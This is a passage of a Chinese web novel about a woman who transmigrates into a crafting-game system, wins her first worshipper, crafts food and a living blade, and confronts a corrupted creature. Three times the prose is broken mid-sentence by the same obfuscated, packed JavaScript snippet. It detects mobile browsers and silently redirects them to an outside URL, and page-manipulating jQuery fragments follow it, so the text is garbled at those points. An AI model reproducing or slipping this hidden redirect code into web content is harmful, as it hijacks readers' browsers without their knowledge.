【恭喜玩家“嘟嘟”登入游戏，游戏名称生成中……游戏[嘟嘟爱合成]欢迎玩家登录~新人任务已发放~】 弹窗闪了三次后消失，画面中的黑色褪去，变成一大片深深浅浅的灰色，正是像素化了的迷雾裂隙中的场景。 精神力集中后，可以将场景放大缩小，如今场景中唯一的彩色就是紫色的防护罩，以及紫色防护罩里两个小人。紫发小人头顶顶着一个代表沉思的“……”气泡，代表田一诺的红发小人头顶则有一个代表亢奋状态的“！”。 场景左右各有一列竖着排列的按钮，左边依次是【基础合成】、【背包】、【建筑】、【信徒】；右边则是【个人信息】、【地图/场景】、【任务】三栏。两列下面各有几个灰色带着问号的方块，老玩家都郁知道这是还没有解锁的功能。 都郁先点开【个人信息】一栏，之前解锁的【称号】按钮被合并在其中。 【个人信息：】 【绑定玩家：都郁（昵称：嘟嘟）】 【合成等级：0（初出茅庐的菜鸟）】 【称号：丧心病狂废土客（已佩戴）】 【特质：命运之轮（已丢失）、？？？？？（未解锁）、？？？（未解锁）】 【精神力：A（你已站在族群的顶峰，顽强的意志能够让你直视大多数诡异）】 【天赋： K·饕餮 （效果一：饥不择食，10min内饱腹度超过150%，你将突破生理极限，获得“铁胃”效果，消化并从任何“食物”中摄取营养要素； 效果二：贪欲之舌，永远躁动的饥饿令你难以安眠，6h内不进食将进入“暴饮暴食”状态，吃下当前体重10倍的食物后方可解除；理智永久减6） K ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253745|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·黄金意志 （效果一：你绝不动摇，绝不后退；理智永远＋6 效果二：你将免疫绝大多数精神冲击，魅惑无效、催眠无效） A·格斗专家 （效果一：战斗天才，武器入门速度提高50%、熟练度增长提高50%；你在战斗中更易发现敌人弱点； 效果二：嗜血。在一次战斗中杀敌数大于50或暴击次数大于100，你将进入持续10min的狂暴状态，冷却期三天） B·烹饪（……） C·博闻（……） ……】 天赋栏密密麻麻全是字，都郁接连划了三页，虽然看上去很强，她还是忍不住吐槽的欲望，什么天赋，这不都是她在废土上闲着没事干肝出来的技能吗？ 至于第一个……都郁一直以为她过于旺盛的食欲是饿出来的后遗症，没想到被这个游戏识别成成了天赋？ 她不经有些好笑，这游戏似乎融合了小说的异能背景，K级与A级是最高的两级。要按照游戏的划分方法，任何一个在废土生活十年以上的人，都能拥有【饕餮】这个K级天赋。 这天赋面板看着好看，背后的心酸只有本人知道。 除了这些基础信息，最下角还有【状态】一栏，“状态”两字左上角还有一个紫色的小圆点，圆点里写着阿拉伯数字“2”。 都郁顺手点开，瞳孔微微放大。 【状态：】 【基因崩溃（疾病）：强行剥夺特质的后遗症，你将在全身溃烂中死去，倒计时35h48min26s……】 【苟且（诅咒）：？？以？？代价释放的永生诅咒，意志崩溃前无视任何致命判定，血量永久大于等于0.001；生存还是毁灭，这对你来说并不是一个问题】 基因崩溃应该是小说男主剥夺原身特质时带来的debuff，这个“苟且”是什么？谁会拿永生诅咒别人？为什么这个诅咒跨越了两个世界还能生效？ 基因崩溃这个噩耗带给都郁的冲击都没有“苟且”这个诅咒来的大。她原先的世界和小说世界相似，都存在着异能，“苟且”这个诅咒看着就像是某个异能者的技能，可谁会诅咒她？ 都郁神情惊疑不定，她前世并没有觉醒异能，不过是努力苟活而已，哪里值得一个异能者诅咒她？而且根据她对诅咒的了解，这种终身诅咒的释放代价极大，不是什么血海深仇都不值得放的，可她有得罪什么诅咒师吗？ 熟悉的饥饿感让都郁回过神来，尽管穿越还没满6h，但原身的长久未进食似乎也影响到了自己，再不吃点东西她离失控就不远了。 虽然暴饮暴食吃不死她，她也并不挑食，都郁也并不想回想上次失控她都吃了什么恶心的东西下去。 反正死不了，都郁愉快地按下诅咒一事，决心整点吃的。 可在废土上食物是稀缺资源，在迷雾裂隙中就更难找到。都郁随手打开【任务界面】，新手任务会奖励初级面包机图纸，可惜远水解不了近渴，都郁遗憾地收回目光。 “嗷！” 那怪物似乎在死亡的阴影下终于找回了理智，大吼一声就要逃跑。都郁顺手捡起三块石头合成【E·坚硬的砖头】，眼睛眯起，一记大力飞砖狠狠砸在怪物腰部偏下的位置。 【暴击！】 弱点攻击必定会产生暴击，怪物见底的血量顿时清零，都郁愉快地用布料包着手，在田一诺星星眼的注视下把它拖进防护罩内。 都郁这才发现这怪物和前世的豹子有点相像，只是个头至少大了五倍，左三右五，非常不对称地长了九条腿。 “咕噜。” 田一诺一愣，脸色爆红，不好意思地捂住肚子。都郁理解地拍拍她的肩膀，“吃是人生大事，不用不好意思。” 说完，一指地上的尸体，“不用急，食物这不就来了吗，你在保护罩内找点木头，我们吃烤肉。” “好的小姐……啊？？？这不能吃啊小姐！” 5. 第一个虔信徒 这变异豹子体型比那只变异蟑螂大，哺乳动物也比节肢动物的出肉率高，都郁点击分解后一共出了24块变异兽肉，放进背包后游戏跳出提示： 【是否将[变异兽肉]（蟑螂）*4与[变异兽肉]（花豹）*24合并放置？】 【提示：具有相同属性的材料可以合并放置，但合并放置后材料只保留共同拥有的相同属性。】 这就是这个游戏麻烦但有趣的地方了，虽然是像素画风，但游戏力求真实，同样都是变异兽肉，因为来源的不同两块肉会有不同的隐藏属性，这些隐藏属性有时会影响合成的效果，算是游戏的小彩蛋。 如果将两块肉合并，那么之后合成，只会合成出【高级肉丸】之类的通用食物，不会合成出像是【拥有半只蟑螂脑袋的肉丸】和【猫耳肉丸】的特色食物。 眼下背包的格子还很充足，飞天大螂棒还需要变异蟑螂的兽肉补充使用次数，都郁点了否，变异蟑螂的兽肉旁多了一格颜色稍浅的兽肉。 都郁点开这变异花豹兽肉的介绍，和变异蟑螂兽肉的介绍大同小异，只有备注里的“剧毒，可以食用，但吃下去一定会死”变成了“含有未知辐射，长期食用将减少寿命”。 也许变异花豹的肉比变异蟑螂的毒素要轻一点？都郁关掉介绍，点击普通合成，界面和之前大不一样，游戏提示又跳了出来： 【检测到玩家拥有无限制合成次数*1，是否消耗该次数合成普通兽肉？】 “无限制合成？现在合成有什么限制？” 【尊敬的玩家，很遗憾地通知您，合成祭坛的试用期已结束。之后的合成将受祭坛等级、玩家精神力等级、信仰点等因素的限制，具体表现为玩家的合成等级。 【您目前的合成等级为：lv0，只能免费合成E级与不入流的材料，合成高等级材料将花费对应点数或随机消耗1~5倍合成材料。】 都郁将这两段提示翻来覆去看了好几遍，只看出来两个字：打钱！ 给材料是不可能给材料的，这点东西都还不够自己一个人吃，都郁看向另一个选项，“点数是什么？” 【你可以简单地理解为一些具有能量的虚拟货币，当前玩家可以选择使用体力点或信仰点来支付。】 体力点都郁知道，这种类似的小游戏很多操作都需要消耗体力点来完成，是游戏的重要氪金点。 都郁很快在祭坛的左上角找到了代表体力值的紫色像素爱心，爱心旁边的数值是“23/24”（状态：饥饿）。 166非常有眼色地跳出来解释，明明它和游戏系统用的是同一套电子音，都郁却很容易地就能分辨出说话的人是谁。 【当玩家处于正常状态时，体力值在自然条件下每小时恢复1点，玩家当前的体力值上限为24。】 书中世界和前世的世界在一些物理规律上很像，一天都是24小时，一年都是约为365天，只是因为历史原因小说世界没有月的划分。 都郁看了眼因为饥饿扣了一点的体力值，暂时没动，问166，“那信仰点怎么获得？” 【系统将根据玩家的信徒数量、信徒虔诚指数、神名传播度等因素综合评估玩家的信徒信仰指数，并为玩家发放信仰点。】 166还非常热心地为都郁播报，【玩家目前拥有的信仰点为：0。】 信仰点是游戏来到书中世界后新加的设定，都郁记得，虽然是狗血爱情的背景板，但小说中是存在神明的，不是那种虚无的信仰，是真实存在，还会发出神谕的玄幻存在。 这么说来，穿越世界，这种匪夷所思的力量恐怕只有超出人类想象的神明才能做到吧？ 游戏设置信仰点，无非就是想催促自己“成神”，这就是这个游戏带自己穿越的真实目的吗？它又为什么选择了我？ 都郁心思急转，不妨碍她盯着紫色心心下面的金色四角星星，觉得那星星后面的“0”非常碍眼。 都郁摸了摸下巴，突然转头看向田一诺，“我说什么你都会信吗？” “啊？” 田一诺正费劲地扒拉防护罩外的木头，闻言努力仰头去看都郁，牵动嘴角，露出两颗尖尖的虎牙，棕色的眼睛明亮没有半分阴霾，“当然啦。” “哦，我突然发现我是神。” “啊。”田一诺反应了一会儿，突然福至心灵，“那么我就是小姐的信徒了！” 都郁满意地点点头，等了一分钟，在意念中质问166，“我的信仰点呢？” 【嗯……亲亲您刚刚的行为可能不太符合传教规范，请再接再厉哦~】 “哪里不符合？” 【信仰是很严肃的事哦~一个成熟的神明要拥有神名、神权、神国，不然信徒的祷告无法指向正确的神明呢。】 166的话音落下，普通合成界面关闭，初试界面左边的【信徒】一栏自己打开，属于系统的冰冷无感情播报响起： 【神明管理板块已开启：】 【神名：未命名】 【神权：未授予（可在拥有特质中选择）】 【神国：核心建筑[祭坛]建设中（不可移动）……当前所属区域：时空裂隙·侵蚀（昏）】 【提示：神名、神权确定后不可更改，请玩家谨慎选择】 【检测到玩家已拥有神国雏形，当神名、神权选定后，玩家可通过指涉三者的祈祷语获取信仰。】 【提示：行者应知晓路通往何方，这是注定走向孤寂的苦旅。】 都郁的视线落在最后一条没头没尾的提示上，睫毛微垂，思忖片刻后，愉快地决定将神名定为“找点乐子”，然后被166扫兴地拒绝。 【神名代表了神的权能，请先确定神权。】 都郁无趣地撇撇嘴，点开个人信息，看向【特质】一栏： 【特质：命运之轮（已丢失）、嘟嘟爱合成（解锁中）、？？？（未解锁）】 不知是不是解锁了神明板块的原因，原本【特质】中的五个问号有了信息，后面括号中的“未解锁”也已变成了“解锁中”。 虽然有差别，但小说世界的“特质”可以简单理解为一个人的异能，原身的特质就是【命运之轮】，是一个潜力非常大的特质，原身就是因此看不起没有觉醒特质的女主顾菟。 于是男主边绍言在原身陷害女主的阴谋失败后，夺走了她的特质并嫁接给女主。 书中对原身这个炮灰的结局没有细写，只简单提了句她凄惨的死去和被亲人抛弃，没有被剥夺特质的描写。 都郁在原身的记忆中读到这里有点微妙，小说重点在撒狗血，她第一次知道原身的特质是【命运之轮】，一个不看效果，光听名字就知道很强的特质，这样一个角色为什么死得不明不白的？ 更何况……都郁揉了揉太阳穴，也许是太痛苦的缘故，原身阴谋败露那段的记忆有些破碎。 她只能模模糊糊拼凑出一个时间线：原身在顾家准备宣布真千金回归的宴会上，陷害小白花女主偷了她的首饰，事情闹大后被顾家、男主、正义的酒店服务生接连打脸，就连一向宠溺原身的父亲都呵斥了原身。 原身自觉丢脸，更在知道了女主顾家千金的身份后害怕女主的报复，于是一不做二不休，利用特质潜入女主房间准备谋杀她，却被男主当场抓获。 “像你这样恶毒的女人，留着这能力也只会陷害别人。顾菟虽然是普通人，却比你善良得多！她比你更值得拥有这特质！” 原身被男主重伤，似乎就是在他说出那段话后，特质就当场被剥夺，只能眼睁睁看着自己的特质被嫁接到了女主身上…… 等等，这特质可不是狗血文常挖的肝、肾、心，能随便挖来挖去的！特质不能简单地理解为异能，每个人的特质都是独一无二的。 说的文艺点，特质会勾勒出人心底最幽微的渴望与灵魂的颜色，这种东西怎么可能被剥夺？甚至当场就被男主移植给了女主？ 以未来社会的科技发展水平，换个器官也都是要躺治疗仓的，女主在家里什么都没有的情况就移植成功了？甚至第二天就能在学校里被假千金推进冰水里又啥事都没有地爬出来哭？ 小说衍变为真实的世界后似乎变得漏洞百出，都郁满脑子问号，试探着点了【命运之轮】后果然跳出了【请选择已拥有特质】的提示。 【命运之轮】是原身的，后两个【嘟嘟爱合成】和三个问号则是自己的，在得到只能选一个的提示后，都郁烦躁地咬着指腹，在无数次生死之间锻炼出来的直觉告诉她这次的选择很重要。 按理来说，一个好歹有名字，有信息的选项会更令人安心，但也许是今天收获的问号太多，都郁看着最后【？？？】的特质，不知为什么感到特别地亲切。 越发强烈的饥饿灼痛胃部，都郁不是个犹豫的人，很快做出了决定，“反正我的运气从来都不好，不如选一个自己喜欢的。” 【是否选择将[？？?]定为神权，神权确定后将不能更改。这个选择也许正确，也许错误，请谨慎选择。】 “确定，从来都不存在正确的选择。” 都郁利索地点了确定，光屏一闪回到神明管理界面，神权的那一栏已经变成【神权：？？？（解锁中）】，选择后三个问号后的括号也变成了“解锁中”，只是没有进度条，谁知道要解锁到什么猴年马月去。 都郁正要在神名一栏填上“问号之神”，系统似乎怕了她高人一等的起名天赋，界面里神名后的“未命名”变成了“命名中”，随后跳出了三个字：“小耳朵”。 都郁看着这比她起的名字好不了多少的神名，眼睛微微睁大，心里对这个游戏的怀疑更深。 因为“小耳朵”正是都郁的曾用名，或者说是第一个名字。如果说外号“嘟嘟”自己还在游戏里输入过，那“小耳朵”这个名字，在前世知道人不超过五指之数！ 和从小锦衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253746|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉食的原身不同，都郁在孤儿院长大，因为耳朵形状异于常人，因此被院长和同龄人称为“小耳朵”。 当时户籍管理系统不严，她在五岁的时候才有了大名。院长让她自己选择，她就选了两个拥有熟悉“耳朵旁”的字给自己起了名。 从那之后，她就是都郁了。 “你读取了我的记忆？” 都郁挑了挑眉，熟悉她脾气的人都知道这是她要发怒的前兆，系统不知道在忙什么，没理她，“小耳朵”三个字后加了“解析中”三个字，166弱弱地开口解释： 【没有哦，游戏的存在是为了给玩家带来快乐，游戏知道的所有玩家信息都是玩家授权的，请相信，166永远和玩家站在同一阵营。】 166似乎又在若有若无地划清和游戏的距离，都郁没搭腔，看着“小耳朵”后面的“解析中”，等着看这游戏系统能解析出个什么东西。 【叮咚~神明管理模块加载完成，解锁新功能[信徒管理]，信息更新完成。】 【神名：聆听之主（默默无闻）】 【神权：？？？（解锁中）】 【神国：核心建筑[祭坛]建设中……】 【信徒：0（请创造指涉自身的祈祷词，让您的威名传遍世界吧~）】 又到了最烦人的起名环节，好在这次还有三个方向可以借鉴，都郁被系统打回了五六次，终于写出了被系统认可的祷告词。 “小田，伟大的聆听之主给我们指引了方向，你是否要向祂祷告？” 都郁看着身边唯一被标注“可传教”的人，神情难得正经。 这个世界虽然有神明，但官方严厉打击一切相关信仰，因为神明在这个世界里常常和邪恶与危险挂钩，在都郁的认知里，这个世界的神都是可以被划分到“邪神”的范围里的。 随便对着一个陌生神明祷告，在这个世界里和找死没什么区别。可原身的死有了疑点，如果田一诺不向自己祷告，她不会留她在自己身边。 “啊？小姐，夫人说过不要向陌生的神明祷告。”田一诺呆愣地眨眨眼，即使长久处在都家的洗脑中，她也知道向邪神祈祷的危害。 可田一诺虽然天赋差，却拥有小动物一般敏锐的直觉，她霍然起身，想拽都郁的衣角又不敢，捡来的木柴落了一地，“小姐，我不念，是不是就不能跟随你了？” 都郁垂眼没回答，田一诺已然知道了答案，她在裤缝处擦了擦手汗，吞了口口水，“我，我愿意念的，我愿意为小姐念！” 都郁抬眼打量她，即使知道这份忠诚不是为了她，也依旧记下了这张忐忑的脸，“那你跟我念：侵蚀裂隙中的时空行者、吞噬时间谜语的六翼白鸽、谛听两端的聆听之主！我祈求您的关注，祈求向您献上我的忠诚！” 都郁编这段祷告词废了不少时间，第一句指涉神国的部分还好说，她抄了抄系统提示语也就完成了。第三句神名的也不难，都郁想着自己跨越了两个世界，加了个“谛听两端”也就过了。 最难搞的是代表神权的第二句，三个问号让她怎么编出内容？ 反正神权是神的权能，也就是都郁自己的，都郁索性将自己天赋【饕餮】编了进去，“六翼白鸽”则是游戏的logo，在开场动画中也出现过，没想到这句东拼西凑出来的神权系统也认。 “侵蚀裂隙中的时空行者、吞噬时间谜语的六翼白鸽、谛听两端的聆听之主！我、我祈求您的关注，祈求向您献上我的忠诚！” 田一诺紧闭着眼，哆哆嗦嗦地跟着念完，半晌才睁开一只眼，看了看，惊喜地拍拍胸口：“夫人保佑！我竟然没死！太好了！” 都郁看着信仰点一栏抠抠搜搜的跳出一个“+1”，信徒数变成了1，好笑地看向田一诺，“我也信仰这位伟大存在，能害你不成？” “哦对，小姐也向主祷告过。” 田一诺恍然大悟地点点头，“难怪小姐能拿出那么神奇的道具，看来小姐就是神使了！” 都郁见信仰点一栏猛地跳出一个“＋3”，显然，虚无缥缈的神明没有眼前的实惠来的香，郑重地点点头，“是的，我在危机中听到了主的旨意，祂赐予了我新的特质。” “原来是神救了小姐，赞美伟大的聆听之主！” 田一诺的神情比刚念完祈祷词的时候虔诚了许多，给自己套一层马甲的目的轻松达成，都郁却暗中摇了下头，自己的第一位信徒可真好骗，之后要让她多注意…… 有了点数，都郁掏出游戏处理好的肉块，随口编了个借口：“小田你不要再唠叨这肉不能吃了，伟大的聆听之主刚刚赋予了我净化肉的能力，我们有肉吃了。” “真的？赞美伟大的聆听之主！” 【叮咚！玩家获得信仰点+5】 【玩家拥有信徒状态变更——】 【信徒：[田一诺]（浅信徒→虔信徒）】 【恭喜玩家获得第一位虔信徒！】 6. 新的敌人已经出现！ 第六章 这都行？都郁一时不知道该感叹游戏判定的灵活，还是田一诺神奇的脑回路。 有肉就是神吗？ 都郁看着信徒一栏田一诺的备注，无语了一瞬了，摇摇头不再管。在小说世界，异能者由高到低分为A、B、C、D、E五级，合成材料的分级与异能者的等同。 至于材料的掉落机制，都郁还需要更多的样本观察统计。如今神国的核心建筑【祭坛】还没建完，但普通合成的权限已经解锁，目前合成D等级的变异兽肉需要消耗2点数。 都郁选中六块变异兽肉，体力点和信仰点各用了两点试水。消耗信仰点时，除了合成时精神一空，都郁没有其他的感受。 到了体力点就不一样，体力点下降的一瞬间，都郁明显感到身体一重，肌肉酸胀，像是刚刚完成了两小时的中强度有氧训练。 看来体力点不仅仅是一个充当虚拟货币的数字，还在真实反应都郁体力。都郁原地做了几个蹲起高抬腿，确认体力点的消耗对身体的影响。 保守起见，在身边有危险时，体力点最好保持在15以上。而且，既然饥饿状态会扣体力点，那么体力点下降到某个数值，身体进入疲劳状态后，体力点的恢复是否会受到影响？ 测试做完，都郁决定在发现信仰点的作用前，优先使用信仰点。当然，体力点快回满的情况下，也可以适量使用体力点薅系统一把羊毛。 托田一诺莫名其妙变成虔信徒的福，都郁目前每天都能有5~15点信仰点的收入，勉强够用。 “让我看看。” 都郁点开两块合成肉的简介，颇感无趣地撇撇嘴。不知道是运气好还是运气差，两块合成肉都没有品阶的提升，但描述中的“含有未知辐射”变成了“微苦，无毒的塞牙肉块”。 一会儿的功夫田一诺已经将防护罩范围内能扒拉来的木头都扒拉了来，这些都是无品阶的材料，可以直接合成。 “小田，木头够用了。你在周围找找大一点的金属碎片，能找到容器最好。” “好的小姐。” 田一诺动力十足地继续翻找，都郁也搓搓手，左手伸到木头堆里开始合成。 只是随着右手将一件件合成物放下，都郁的脸越来越黑。三件木头碎片可以合成一块木柴，这个配方都郁是知道的，只是…… 木柴＋3，木柴+1，木柴+2……木柴、木柴、还是木柴！ 普通合成的合成方向完全随机，而且不同的材料除了主属性外还有次属性，即使是基础材料的合成偶尔也能合成出点新东西，只是都郁没想到自己的手气这么差！ 【恭喜玩家通过合成获得E级合成物！】 终于出有等级的了！都郁精神一振，只是在看清合成物名称时扬起的嘴角瞬间下落。 【名称：易燃的木柴】 【备注：这是一根立志成为热血动漫主角的木柴，可惜，它只是一根木柴。】 好歹能用来烧火……都郁呼出一口气，见手边已经积攒了几十根木柴，在田一诺找来的金属碎片中找出三片形状偏窄的。 【名称：锈迹斑斑的金属碎片。】 【等级：不入流（凡物）】 都郁刚要合成，动作一顿，敲掉长金属碎片后端快三分之二，只留一个长条，再点物品信息，金属碎片的名称已然更改。 【名称：锈迹斑斑的残缺金属碎片】 都郁不死心，在废物堆里翻找出几件破洞的旧衣，撕成碎布条，缠绕在金属碎片后端剩下的长窄部分上。又在附近捡了两块扁平的石头，磨了磨金属碎片的前端，再点击金属碎片，光屏闪烁了一下才给出信息。 【名称：粗制滥造的钝刀】 【等级：不入流（凡品）】 【备注：这根本就不能称作刀。】 尽管备注的语气看上去不情不愿，但只要系统承认这是刀，那么这金属碎片的主属性就由“金属”变成了“刀具”。虽然还是随机合成，但合成出都郁想要东西的概率就大了很多。 果然，都郁仅仅试了一次就得到了想要的东西。 【名称：不太锋利的金属小刀】 有了工具，总算能处理肉块了。尽管刚刚为了遏制食欲已经生吃了一块合成肉，但那味道，都郁这辈子不想再回想第二遍…… 田一诺翻找出两个金属盆，一个平底锅。都郁给两个盆绑了两个木把手，合成出一个比原来的锅稍大一点的不入流平底锅。 品质不重要，重要的是这些东西在迷雾裂隙中不知道放了多久，木头发霉，金属生锈，还有大片大片难以清除的污染脏污，就算有清洁剂也很难清理。 但过了游戏就不一样了。合成后的东西，虽然品质没怎么提升，但附着在材料上的灰尘污渍，全都消失。那个平底锅拿出来跟新的一样。 都郁合成出几块大石头，搭起简易灶台，锅搭在上面，下方塞入合成后干燥的木柴。 两人翻遍防御罩内的垃圾，也没找到引燃物。好在那块木柴是真的热血，都郁撕了点布条碎木屑，用另一把合成失败的“没开刃的金属小刀”摩擦了几下就燃，两人折腾了半天，总算把肉烤起来了。 “呼，我从来觉得食物这么珍贵。” 一天的折腾下来，田一诺累的够呛，见火终于烧了起来，一屁股坐在灶台旁，看着锅中的肉块心生感慨。 毕竟田一诺虽然之前是都郁的随从，但在家大业大的都家，天天吃的也是高等食材，她活了二十多年哪有像今天这样为食物奔波的？ “不过还是小姐厉害，能在迷雾裂隙里都能得到干净的铁锅！” 都郁伸出手靠在火堆上，想着信仰点，回了一句：“这都是我主赋予我的能力，只要你像我一样地虔诚，过不了多久你也能做到！” 都郁这倒不是画饼，在解锁了一名虔信徒后，166就告诉她，当信徒数量达到一定程度，她就能赐予信徒部分能力。 “这么好。” 田一诺双眸明亮，低头快速念了一遍祈祷词，“赞美伟大的聆听之主！希望我之后也能有用不完的铁锅！” 都郁：？这么超模的能力你就想得到铁锅？ 你是真的饿了。 这变异兽肉合成后虽然祛除了辐射，但本就柴的肉质超级加倍，烤熟要花不少的时间。 田一诺彻底在火堆边躺平，昏昏欲睡。都郁看着祭坛建造倒计时的“5min”，信徒只需要祈祷，神明要考虑的可就多了。 祭坛建造完成后防护罩就会关闭，虽然系统会送一个新手大礼包，但废土求生的经历让都郁有严重的火力不足恐惧症，她喜欢在最短的时间里得到最多的资源，从而夺取渺茫的生存机会。 新手大礼包里有什么到时候就知道了，都郁召唤出游戏界面，点开界面右端的任务一栏，里面只有标着“新手任务”前缀的四个基础任务。 【新手任务一：千里之行始于足下，成为合成大师的前提是使用基础合成一百次！（57/100）】 【新手任务二：文明的余火渐熄，在永夜降临前，请在迷雾中点燃神火，拥有一个虔诚信徒（1/1）】 【新手任务三：人不吃饭会死，食物是生存的第一要务，请在神国中完成一次烹饪（1/1）】 【新手任务四：人被杀就会死，神也是。生存的首要准则是痛击你的敌人，完成一次对强大生物的猎杀（1/1）】 四个任务都郁已经完成了三个，只剩下第一个任务。都郁加快合成的速度，防护罩消失后两人要直面迷雾裂隙中的危险，除了食物最重要的就是武器。 都郁快速炮制金属碎片，盯着锅中肉头一点一点的田一诺也学着都郁的样子，将金属片变成粗制滥造的钝刀。 都郁快速合成，将三把【不太锋利的金属小刀】合成为【锋利的金属刀】，再合成了好几把【没开刃的金属小刀】后，总算攒够了合成材料，又合成出了两把【锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253747|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利的金属刀】。 都郁捡起新合成的【锋利的金属刀】，可能因为材质问题，金属刀刀身颜色斑驳，卖相一般，但不妨碍它锐利的刀锋和转动时刀身反射出的寒光。 可惜金属刀约有一米长，对付人足够了。面对连蟑螂都能变异到一米的变异生物，就有些不够用了。 合成后的合成物属性可能不是自己想要的，都郁心疼地摸了摸刀身，在合成界面点击“确认合成”。 这次跳出来的提示却有些不一样，【该合成触发特殊合成方向，是否消耗4点数进行特殊合成？】 不入流的凡物合成是不需要点数的，但这特殊合成竟然需要4点，都是合成D级材料的两倍了。 都郁眉头微皱，思考是什么触发了特殊合成方向。在合成其中一把刀时，都郁掺进去了一块看着平平无奇，却总给她一种奇妙感受的暗金色金属碎片。 本想着也许能合成出带特殊效果的金属刀，合成后却和其他的刀属性一样。都郁本以为实验失败了，没想到这时激发了特殊合成。特殊的合成材料合成后的物体，也拥有材料的特殊性？ 都郁正在思忖，166悄悄探出头，在意念中小声劝说：“虽然不知道合成后的东西是什么，但166能感知到是个好东西！” 连和游戏关系密切的166都说是好东西？都郁眉头一挑，投了4点信仰点。 【叮咚！恭喜玩家合成特殊物品！嗜血圣刀】 【名称：嗜血圣刀】 【备注：特殊经历让这把刀有了奇怪的性格，它喜欢饮血，厌恶邪恶，它很满意你……小心，这是一把活着的刀！】 【等级：E（可提升）】 【物品介绍： 特性一：宁断不折。在战斗状态中，在累计伤害能摧毁全部刀体结构前，此刀不断。 特性二：饮血。在战斗中吸收敌人鲜血修复自身。 特性三：擢升。渴望升华的圣刀。吞噬足够的超凡要素获得进化的力量。 特性四：目下无尘。在不被认可的人眼里，这是一把平平无奇的钝刀。】 【耐久：100/100（降为0时此刀损毁，不可修复。）】 【评价：一柄具有某些危险要素的刀。】 拥有四个特性的E级刀！都郁抽出和刚刚没有区别，只是刀身变成暗金色的【嗜血圣刀】，越看越喜欢，尤其是那个宁断不折的特性，简直就是为她而生的！ 有了这把刀，都郁在战斗中总算有了些把握。嗜血圣刀没有刀鞘，但当都郁手指拂过锐利的刀锋，触感冰凉，有些舒适。 这刀不会伤害自己，真的具有活着的属性。 都郁对这把刀更是喜欢，放在随手可见的地方继续搬砖。 【新手任务一：新手任务一：千里之行始于足下，成为合成大师的前提是使用基础合成一百次！（76/100）】 【……（85/100）】 【……（91/100）】 【……（99/100）】 【恭喜玩家完成全部新手任务！新手任务奖励已发放！】 【叮咚！恭喜玩家获得：[干净的水井]*1、[医疗箱]*1、[污染测量仪]*1、[兽皮帽]*1】 都郁匆匆看了眼属性，水井和测量仪都是生存类的资源，兽皮帽有个防御加一的属性，都郁顺手带上，其他的没来得及细看，因为—— 祭坛建造完成了！ 【叮咚！唯一建筑[祭坛·凡品]建造完成，新手大礼包已发放~[建筑]选项已开启……】 系统密密麻麻播放了一大长串信息，都郁匆匆扫过关掉，催促田一诺打开医疗箱给自己包扎，心往下沉。 没了防护罩的遮掩，她们的气息在迷雾裂隙中恐怕会明显得如黑夜中的灯塔，她必须提高警戒…… 都郁心有所感，看向东方，攥住嗜血圣刀，主动冲了上去。 敌人，已经出现！ 7. 建造初级神殿！ 第七章 “叽——” 那团疑似“生物”的东西约有三米高，长得有点像蜗牛，主体是长条状的软组织物，身侧遍布长长短短的半透明触须，尾部卷着一个巨大的肉球。 肉球鼓得表面的皮遍布大大小小的凸起，透过半透明的皮能清楚地看见黑红两色的肉块相互堆叠，像是活着般缓缓蠕动吞噬。 “呕——” 身后传来一声干呕，田一诺突然觉得自己不饿了，跟这玩意儿一比，一人高的变异蟑螂都要变得眉清目秀了。 让自己目前这唯一的信徒在祭坛旁边躲好，都郁目光沉沉，变异蟑螂和变异花豹虽然都发生了畸变，但还能看出是什么生物变异出来的。 而眼前这坨玩意长得混乱又扭曲，光是站在那里就像是亵渎了生物学。一个名词在都郁脑中闪现：堕落种！ 小说世界和原本的世界虽然存在种种不同，但都经历了一场几乎摧毁了整个文明的“大灾变”。世界毁灭的真相至今无人知晓，一日之内文明崩毁，一半多的人类毫无预兆地永归于黑暗。 幸存者们在辐射和污染的威胁下艰难求存，危机不仅来自环境，还源于在污染侵蚀下，抛却往日生命形态，理智陷入无尽沉沦的堕落种！ 眼前这玩意儿还停在侵蚀的初级阶段，只是沾染了堕落气息，还没有完成最关键的一步“蜕变”，称不上堕落种。但堕落永不止息，毫无规律，它随时会跨出最后一步。 系统跳出的提示也验证了都郁的猜测，【玩家受到未知堕落气息的冲击，受天赋[黄金意志]被动影响，理智-0。】 嗜血长刀嗡鸣，似乎是催促，亦或是察觉到了主人的意图。田一诺缩在祭坛后，眼神恍惚一瞬后猛然惊醒，心有余悸地拍拍胸口。 这怪物可怕就算了，怎么感觉小姐刚刚的眼神，比那怪物都吓人。 “唰——” 